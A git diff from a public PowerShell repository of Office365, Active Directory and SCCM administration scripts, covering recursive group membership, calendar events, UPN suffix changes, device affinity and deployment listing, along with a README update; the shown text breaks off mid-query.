b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index bf5450f0..f1afb4e0 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -1,66 +1,54 @@ - -function Get-DistributionGroupMemberRecursive -{ -<# + +function Get-DistributionGroupMemberRecursive { + <# .SYNOPSIS This script will list all the members (recursively) of a DistributionGroup .EXAMPLE - Get-DistributionGroupMemberRecursive -Group mtl-wbgames_metallica_all -Verbose + Get-DistributionGroupMemberRecursive -Group TestDG -Verbose .NOTES Francois-Xavier Cat - 2015/02/18 - + lazywinadmin.com + @lazywinadmin #> - [CmdletBinding()] - PARAM ($Group) - BEGIN - { - TRY - { - # Retrieve Group information - Write-Verbose -Message "[BEGIN] Retrieving members of $Group" - $GroupMembers = Get-DistributionGroupMember -Identity $Group -ErrorAction Stop -ErrorVariable ErrorBeginGetDistribMembers | - Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } }, RecipientType - - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - if ($ErrorBeginGetDistribMembers) { Write-Warning -Message "[BEGIN] Issue while retrieving members of $Group" } - Write-Warning -Message $Error[0].Exception.Message - } - } - PROCESS - { - FOREACH ($Member in $GroupMembers) - { - TRY - { - Write-verbose "[PROCESS] Member: $($member.name)" - - SWITCH ($Member.RecipientType) - { - "MailUniversalDistributionGroup" { - # Member's type is Distribution Group, we need to find members of this object - Get-DistributionGroupMemberRecursive -Group $($Member.name) | - Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $($Member.name) } }, RecipientType - Write-Verbose -Message "[PROCESS] $($Member.name)" - } - "UserMailbox" { - # Member's type is User, let's just output the data - $Member | Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } } - } - } - } - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - END - { - Write-Verbose -message "[END] Done" - } -} \ No newline at end of file + [CmdletBinding()] + PARAM ($Group) + BEGIN { + TRY { + # Retrieve Group information + Write-Verbose -Message "[BEGIN] Retrieving members of $Group" + $GroupMembers = Get-DistributionGroupMember -Identity $Group -ErrorAction Stop -ErrorVariable ErrorBeginGetDistribMembers | + Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } }, RecipientType + + } + CATCH { + if ($ErrorBeginGetDistribMembers) { Write-Warning -Message "[BEGIN] Issue while retrieving members of $Group" } + $PSCmdlet.ThrowTerminatingError($_) + } + } + PROCESS { + FOREACH ($Member in $GroupMembers) { + TRY { + Write-Verbose -Message "[PROCESS] Member: $($member.name)" + + SWITCH ($Member.RecipientType) { + "MailUniversalDistributionGroup" { + # Member's type is Distribution Group, we need to find members of this object + Get-DistributionGroupMemberRecursive -Group $($Member.name) | + Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $($Member.name) } }, RecipientType + Write-Verbose -Message "[PROCESS] $($Member.name)" + } + "UserMailbox" { + # Member's type is User, let's just output the data + $Member | Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } } + } + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } + } + END { + Write-Verbose -message "[END] Done" + } +} diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 9d576428..30831a84 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -1,66 +1,203 @@ -function Get-O365CalendarEvent -{ -<# - .SYNOPSIS - Function to gather Calendar Events between two specific dates - - .DESCRIPTION - Function to gather Calendar Events between two specific dates - It is using the REST API available against Office365 - - .PARAMETER EmailAddress - Specifies the mailbox email address to query. - Default is the current user - Example: info@lazywinadmin.com - - .PARAMETER StartDateTime - Specifies the Start Date Time - The UTC date and time when the event starts. (datetimeoffset) - Default is now. - - .PARAMETER EndDateTime - Specifies the End Date Time - The UTC date and time when the event ends. (datetimeoffset) - Default is next week (7 days). - - .PARAMETER Credential - Specifies alternative credentials - By default it will use the current user. - - .EXAMPLE - PS C:\> Get-O365CalendarEvent - - Get the calendar Events of the next coming week for the current user. - - .EXAMPLE - PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} - - Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days - .NOTES - https://msdn.microsoft.com/office/office365/api/calendar-rest-operations +function Get-O365CalendarEvent { + <# +.SYNOPSIS + Function to gather Calendar Events between two specific dates + +.DESCRIPTION + Function to gather Calendar Events between two specific dates + It is using the REST API available against Office365 + +.PARAMETER EmailAddress + Specifies the mailbox email address to query. + Default is the current user + Example: info@lazywinadmin.com + +.PARAMETER StartDateTime + Specifies the Start Date Time + The UTC date and time when the event starts. (datetimeoffset) + Default is now. + +.PARAMETER EndDateTime + Specifies the End Date Time + The UTC date and time when the event ends. (datetimeoffset) + Default is next week (7 days). + +.PARAMETER Timezone + Specify the timezone + Complete list available here https://technet.microsoft.com/en-us/library/cc749073(v=ws.10).aspx + +.PARAMETER Credential + Specifies alternative credentials + By default it will use the current user. + +.PARAMETER PageResult + Specifies the number of items to return. Max is 50. + +.EXAMPLE + PS C:\> Get-O365CalendarEvent + + Get the calendar Events of the next coming week for the current user. + +.EXAMPLE + PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} + + Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days + +.EXAMPLE + Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential $cred -StartDateTime $((Get-Date).adddays(-50)) -PageResult 15 + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + + # More about the Calendar operations + https://msdn.microsoft.com/office/office365/api/calendar-rest-operations + + # Filter/Sorting/Top/Order + https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults + + VERSION HISTORY + 1.0 | 2015/06/00 | Francois-Xavier Cat (lazywinadmin.com) + Initial version + 1.1 | 2016/06/21 | Stephane van Gulick - (PowerShellDistrict.com) + Added Headers Property 'timeZone' to fit the display gap that could happen between an actual event an the current timeZone. + 1.2 | 2017/04/02 | Francois-Xavier Cat (lazywinadmin.com) + Add all the timezones in the ValidateSet of $TimeZone + Add TRY/CATCH and Error handler + Add some Verbose messages +.LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [String]$EmailAddress, - - [datetime]$StartDateTime = (Get-Date), - - [datetime]$EndDateTime = ((Get-Date).adddays(7)), - - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - PROCESS - { - $Splatting = @{ - Credential = $Credential - Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$EndDateTime" - } - if (-not $PSBoundParameters['EmailAddress']) - { - #Query the current User - $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$EndDateTime" - } - Invoke-RestMethod @Splatting | Select-Object -ExpandProperty Value - } -} + + [CmdletBinding()] + param + ( + [System.String]$EmailAddress, + + [System.datetime]$StartDateTime = (Get-Date), + + [System.datetime]$EndDateTime = ((Get-Date).adddays(7)), + + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateNotNullOrEmpty()] + [ValidateRange(1, 50)] + $PageResult = '10', + + [ValidateSet( + 'Afghanistan Standard Time', + 'Alaskan Standard Time', + 'Arab Standard Time', + 'Arabian Standard Time', + 'Arabic Standard Time', + 'Atlantic Standard Time', + 'AUS Central Standard Time', + 'AUS Eastern Standard Time', + 'Azerbaijan Standard Time', + 'Azores Standard Time', + 'Canada Central Standard Time', + 'Cape Verde Standard Time', + 'Caucasus Standard Time', + 'Cen. Australia Standard Time', + 'Central America Standard Time', + 'Central Asia Standard Time', + 'Central Brazilian Standard Time', + 'Central Europe Standard Time', + 'Central European Standard Time', + 'Central Pacific Standard Time', + 'Central Standard Time', + 'Central Standard Time (Mexico)', + 'China Standard Time', + 'Dateline Standard Time', + 'E. Africa Standard Time', + 'E. Australia Standard Time', + 'E. Europe Standard Time', + 'E. South America Standard Time', + 'Eastern Standard Time', + 'Egypt Standard Time', + 'Ekaterinburg Standard Time', + 'Fiji Standard Time', 'FLE Standard Time', + 'Georgian Standard Time', + 'GMT Standard Time', + 'Greenland Standard Time', + 'Greenwich Standard Time', + 'GTB Standard Time', + 'Hawaiian Standard Time', + 'India Standard Time', + 'Iran Standard Time', + 'Israel Standard Time', + 'Korea Standard Time', + 'Mid-Atlantic Standard Time', + 'Mountain Standard Time', + 'Mountain Standard Time (Mexico)', + 'Myanmar Standard Time', + 'N. Central Asia Standard Time', + 'Namibia Standard Time', + 'Nepal Standard Time', + 'New Zealand Standard Time', + 'Newfoundland Standard Time', + 'North Asia East Standard Time', + 'North Asia Standard Time', + 'Pacific SA Standard Time', + 'Pacific Standard Time', + 'Romance Standard Time', + 'Russian Standard Time', + 'SA Eastern Standard Time', + 'SA Pacific Standard Time', + 'SA Western Standard Time', + 'Samoa Standard Time', + 'SE Asia Standard Time', + 'Singapore Standard Time', + 'South Africa Standard Time', + 'Sri Lanka Standard Time', + 'Taipei Standard Time', + 'Tasmania Standard Time', + 'Tokyo Standard Time', + 'Tonga Standard Time', + 'US Eastern Standard Time', + 'US Mountain Standard Time', + 'Vladivostok Standard Time', + 'W. Australia Standard Time', + 'W. Central Africa Standard Time', + 'W. Europe Standard Time', + 'West Asia Standard Time', + 'West Pacific Standard Time', + 'Yakutsk Standard Time' + )] + [System.String]$Timezone + ) + + PROCESS { + TRY { + $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand + + Write-Verbose -Message "[$FunctionName] Create splatting" + $Splatting = @{ + Credential = $Credential + Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + } + + + if ($TimeZone) { + Write-Verbose -Message "[$FunctionName] Add TimeZone" + $headers = New-Object -TypeName 'System.Collections.Generic.Dictionary[[String],[String]]' + $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") + $Splatting.Add('Headers', $headers) + } + if (-not $PSBoundParameters['EmailAddress']) { + Write-Verbose -Message "[$FunctionName] EmailAddress not specified, updating URI" + #Query the current User + $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + } + Write-Verbose -Message "[$FunctionName] URI: $($Splatting.Uri)" + Invoke-RestMethod @Splatting -ErrorAction Stop | Select-Object -ExpandProperty Value + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } +} \ No newline at end of file diff --git a/O365-Get-O365CalendarEvent/README.md b/O365-Get-O365CalendarEvent/README.md new file mode 100644 index 00000000..19c33bcb --- /dev/null +++ b/O365-Get-O365CalendarEvent/README.md @@ -0,0 +1,13 @@ +# Get-O365CalendarEvent + +## Usage +``` powershell +Get-O365CalendarEvent ` + -EmailAddress info@lazywinadmin.com ` + -Credential (Get-Credential) ` + -StartDateTime ((Get-Date).adddays(-5)) ` + -EndDateTime (Get-Date) ` + -PageResult 2|Select-Object -Property Subject, StartTimeZone, Start, End +``` + +![Alt text](https://raw.githubusercontent.com/lazywinadmin/PowerShell/master/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png?raw=true "Get-O365CalendarEvent Example") diff --git a/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png b/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png new file mode 100644 index 00000000..e0f5611e Binary files /dev/null and b/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png differ diff --git a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 new file mode 100644 index 00000000..965634ba --- /dev/null +++ b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 @@ -0,0 +1,153 @@ +function Update-O365UserUPNSuffix { + <# + .SYNOPSIS + Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD) + + .DESCRIPTION + Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD). + Once modified you might want to force the sync between AD and O365 to make sure the object + are correctly synced. + + This function is used to correct user accounts mismatch or most likely used + in environment where User conversion from Contractor to Permanent requires + a change of UPN. Example: test.user@ContosoConsultant.com to test.user@Contoso.com + + For the Office 365 UPN, This script will be first changed to the + .onmicrosoft.com UPN, then change to the new UPN specified by the user. + This is needed to avoid some issues I encountered in the past. + + .PARAMETER UserAlias + Specifies the User Alias, typically what is in front of the '@' of the current + UPN. Example Bob.Marley + + .PARAMETER CurrentUPNSuffix + Specifies the current UPN Suffix. Default is 'ContosoConsultant.com' + + .PARAMETER NewUPNSuffix + Specifies the new UPN suffix to apply. Default is 'Contoso.com' + + .PARAMETER TenantUPNSuffix + Specifies the Tenant UPN Suffix. Default is 'contoso.onmicrosoft.com' + + .PARAMETER DomainController + Specifies the Domain Controller on which the Active Directory modification will + occur. + + .PARAMETER Credential + Specifies the credential to use for ActiveDirectory changes + + .EXAMPLE + Update-O365UserUPNSuffix ` + -Verbose ` + -Credential $cred ` + -UserAlias 'perm.test' ` + -CurrentUPNSuffix 'ContosoConsultant.com' ` + -NewUPNSuffix 'Contoso.com' ` + -TenantUPNSuffix 'Contoso.onmicrosoft.com' ` + -DomainController 'DC01.Contoso.com' + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding()] + [OutputType([pscustomobject])] + param + ( + [Parameter(Mandatory = $true)] + [String]$UserAlias, + + [Parameter(Mandatory = $true)] + [String]$CurrentUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$NewUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$TenantUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$DomainController, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + [PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + BEGIN { + TRY { + $CurrentUPN = $("$UserAlias@$CurrentUPNSuffix") + $TemporaryUPN = $("$UserAlias@$TenantUPNSuffix") + $NewUPN = $("$UserAlias@$NewUPNSuffix") + + # Exchange Online - Validate we find the user + Write-Verbose -Message "[BEGIN] Current Information" + if (Get-MsolDomain) { + $MSOLUserBefore = Get-MsolUser -UserPrincipalName $CurrentUPN -ErrorAction Stop + } + else { + Write-Error "[BEGIN] Does not seem connected to Office365" + break + } + + # Active Directory - Validate we find the user + $ADUserBefore = (Get-ADuser -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController -ErrorAction Stop) + + if (-not ($ADUserBefore)) + { Write-Error -Message "[BEGIN] Can't find this user in AD" } + + [pscustomobject]@{ + State = 'BEFORE' + UserAlias = $UserAlias + SID = $ADUserBefore.SID + UPN_in_AD = $ADUserBefore.UserPrincipalName + UPN_in_O365 = $MSOLUserBefore.UserPrincipalName + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } + PROCESS { + TRY { + Write-Verbose -Message "[PROCESS] Processing changes" + $Splatting = @{ } + + if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } + + # Set the current MSOL user to the default OnMicrosoft.com UPN Suffix + Set-MsolUserPrincipalName -UserPrincipalName $CurrentUPN -NewUserPrincipalName $TemporaryUPN -ErrorAction Stop | Out-Null + # Set the user to the new UPN Suffix + Set-MsolUserPrincipalName -UserPrincipalName $TemporaryUPN -NewUserPrincipalName $NewUPN -ErrorAction Stop | Out-Null + + # Set UPN on the Active Directory User + Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController | + Set-ADUser @splatting -UserPrincipalName $NewUPN -server $DomainController -ErrorAction Stop + + + # Post Change + Start-Sleep -Seconds 5 + $MSOLUserAfter = Get-MsolUser -UserPrincipalName $NewUPN + $ADUserAfter = Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$NewUPN)" -Server $DomainController + [pscustomobject]@{ + State = 'AFTER' + UserAlias = $UserAlias + SID = $ADUserAfter.SID + UPN_in_AD = $ADUserAfter.UserPrincipalName + UPN_in_O365 = $MSOLUserAfter.UserPrincipalName + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } + END { + Write-Warning -Message "[END] You might want to initiate the DirSync between AD and O365 or wait for next sync" + } +} diff --git a/README.md b/README.md index 601b1460..e35621d7 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,8 @@ -PowerShell -========== -This repository is used for all my public script. +# PowerShell -www.lazywinadmin.com +This repository is used for all my public scripts. +Let me know if you have any issues using them, always space for improvement +Feel free to fork + +* [Blog](https://lazywinadmin.com) +* [Twitter @LazyWinAdmin](https://twitter.com/LazyWinAdmin) diff --git a/_PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset b/SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset similarity index 100% rename from _PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset rename to SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset diff --git a/_PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2.preset b/SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2.preset similarity index 100% rename from _PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2.preset rename to SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2.preset diff --git a/_PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme.preset b/SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme.preset similarity index 100% rename from _PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme.preset rename to SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme.preset diff --git a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 new file mode 100644 index 00000000..3bb80add --- /dev/null +++ b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 @@ -0,0 +1,83 @@ +Function Add-SCCMGroupDeviceAffinity { + <# + .SYNOPSIS + Function to add a group as primary user on a device + + .DESCRIPTION + Function to add a group as primary user on a device + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the DeviceName on which the Primary User will be added + + .PARAMETER DeviceID + Specifies the ResourceID of the Device + + .PARAMETER GroupName + Specifies the Active Directory Group to add as a Primary User on a device + + .PARAMETER Credential + Specifies alternative credentials to use + + .PARAMETER UserName + Specifies the UserName that will be added as a Primary User on the Device + + .EXAMPLE + Add-SCCMGroupDeviceAffinity -DeviceName WORKSTATION01 -GroupName "DOMAIN/GROUP01" + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] + $SiteCode, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] + $SiteServer, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] + $DeviceName, + + [Parameter()] + $DeviceID, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Group Name")] + $GroupName, + + [Alias("RunAs")] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + NameSpace = "root\sms\site_$SiteCode" + ComputerName = $SiteServer + } + + IF ($PSBoundParameters['Credential']) { + $Splatting.Credential = $Credential + } + + + $AffinityType = 2 # Administrator defined + + IF ($PSBoundParameters['DeviceName']) { + $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID + } + IF ($PSBoundParameters['DeviceID']) { + $ResourceID = $DeviceID + } + + Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $GroupName) +} \ No newline at end of file diff --git a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 new file mode 100644 index 00000000..80e3897c --- /dev/null +++ b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 @@ -0,0 +1,80 @@ +Function Add-SCCMUserDeviceAffinity { + <# + .SYNOPSIS + Function to add a primary user on a device + + .DESCRIPTION + Function to add a primary user on a device + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the DeviceName on which the Primary User will be added + + .PARAMETER DeviceID + Specifies the ResourceID of the Device + + .PARAMETER UserName + Specifies the UserName that will be added as a Primary User on the Device + + .PARAMETER Credential + Specifies alternative credentials to use + + .EXAMPLE + Add-SCCMUserDeviceAffinity -DeviceName WORKSTATION01 -UserName "DOMAIN/UserAccount" + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] + $SiteCode, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] + $SiteServer, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] + $DeviceName, + + [Parameter()] + $DeviceID, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter User Name")] + $UserName, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + NameSpace = "root\sms\site_$SiteCode" + ComputerName = $SiteServer + } + + IF ($PSBoundParameters['Credential']) { + $Splatting.Credential = $Credential + } + + + $AffinityType = 2 # Administrator defined + + IF ($PSBoundParameters['DeviceName']) { + $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID + } + IF ($PSBoundParameters['DeviceID']) { + $ResourceID = $DeviceID + } + + Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $UserName) +} \ No newline at end of file diff --git a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 new file mode 100644 index 00000000..d0bb4ff0 --- /dev/null +++ b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 @@ -0,0 +1,64 @@ +function Get-SCCMClientCacheInformation { + <# + .SYNOPSIS + Function to get the cache size on a SCCM Client + .DESCRIPTION + Function to get the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Get-SCCMClientCacheInformation -ComputerName Client01 + + This will get the client cache size on the computer Client01 + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + + 1.0 | 2017/11/01 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/11/01 | Francois-Xavier Cat + Update Error handling and messages + .LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM( + [string[]]$ComputerName = ".", + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + + IF ($PSBoundParameters['ComputerName']) { + $SplattingWMI.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) { + $SplattingWMI.Credential = $Credential + } + + TRY { + # Get the Client information + Get-WmiObject @SplattingWMI + + } + CATCH { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } +} diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 new file mode 100644 index 00000000..e73bdc7c --- /dev/null +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -0,0 +1,188 @@ +function Get-SCCMDeviceCollectionDeployment { + <# + .SYNOPSIS + Function to retrieve a Device targeted application(s) + + .DESCRIPTION + Function to retrieve a Device targeted application(s). + The function will first retrieve all the collection where the Device is member of and + find deployment advertised to those. + + .PARAMETER Devicename + Specifies the SamAccountName of the Device. + The Device must be present in the SCCM CMDB + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER ComputerName + Specifies the SCCM Server to query + + .PARAMETER Credential + Specifies the credential to use to query the SCCM Server. + Default will take the current user credentials + + .PARAMETER Purpose + Specifies a specific deployment intent. + Possible value: Available or Required. + Default is Null (get all) + .EXAMPLE + Get-SCCMDeviceCollectionDeployment -DeviceName MYCOMPUTER01 -Credential $cred -Purpose Required + + .NOTES + Francois-Xavier cat + lazywinadmin.com + @lazywinadmin + + CHANGE HISTORY + 1.0 | 2015/09/03 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/09/15 | Francois-Xavier Cat + Update Comment based help + Update Crendential parameter type + Update Verbose messages + + SMS_R_SYSTEM: https://msdn.microsoft.com/en-us/library/cc145392.aspx + SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx + SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM + ( + [Parameter(Mandatory)] + [System.String]$DeviceName, + + [Parameter(Mandatory)] + [System.String]$SiteCode, + + [Parameter(Mandatory)] + [System.String]$ComputerName, + + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateSet('Required', 'Available')] + [System.String]$Purpose + ) + + BEGIN { + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + + Write-Verbose -Message "[$FunctionName] Create splatting" + + # Define default properties + $Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\SMS\Site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) { + Write-Verbose -Message "[$FunctionName] Append splatting" + $Splatting.Credential = $Credential + } + + Switch ($Purpose) { + "Required" { $DeploymentIntent = 0 } + "Available" { $DeploymentIntent = 2 } + default { $DeploymentIntent = "NA" } + } + + Write-Verbose -Message "[$FunctionName] Define helper functions" + Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentIntentName" + Function Get-SCCMDeploymentIntentName { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS { + if ($DeploymentIntent -eq 0) { Write-Output "Required" } + if ($DeploymentIntent -eq 2) { Write-Output "Available" } + if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } + } + } #Function Get-DeploymentIntentName + + Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentTypeName" + function Get-SCCMDeploymentTypeName { + <# + https://msdn.microsoft.com/en-us/library/hh948731.aspx + #> + PARAM ($TypeID) + switch ($TypeID) { + 1 { "Application" } + 2 { "Program" } + 3 { "MobileProgram" } + 4 { "Script" } + 5 { "SoftwareUpdate" } + 6 { "Baseline" } + 7 { "TaskSequence" } + 8 { "ContentDistribution" } + 9 { "DistributionPointGroup" } + 10 { "DistributionPointHealth" } + 11 { "ConfigurationPolicy" } + } + } + + } + PROCESS { + TRY { + + Write-Verbose -Message "[$FunctionName] Retrieving Device '$DeviceName'..." + $Device = Get-WMIObject @Splatting -Query "Select * From SMS_R_SYSTEM WHERE Name='$DeviceName'" + + Write-Verbose -Message "[$FunctionName] Retrieving collection(s) where the device is member..." + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($Device.resourceid)'" | ForEach-Object -Process { + + Write-Verbose -Message "[$FunctionName] Retrieving collection '$($_.Collectionid)'..." + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE 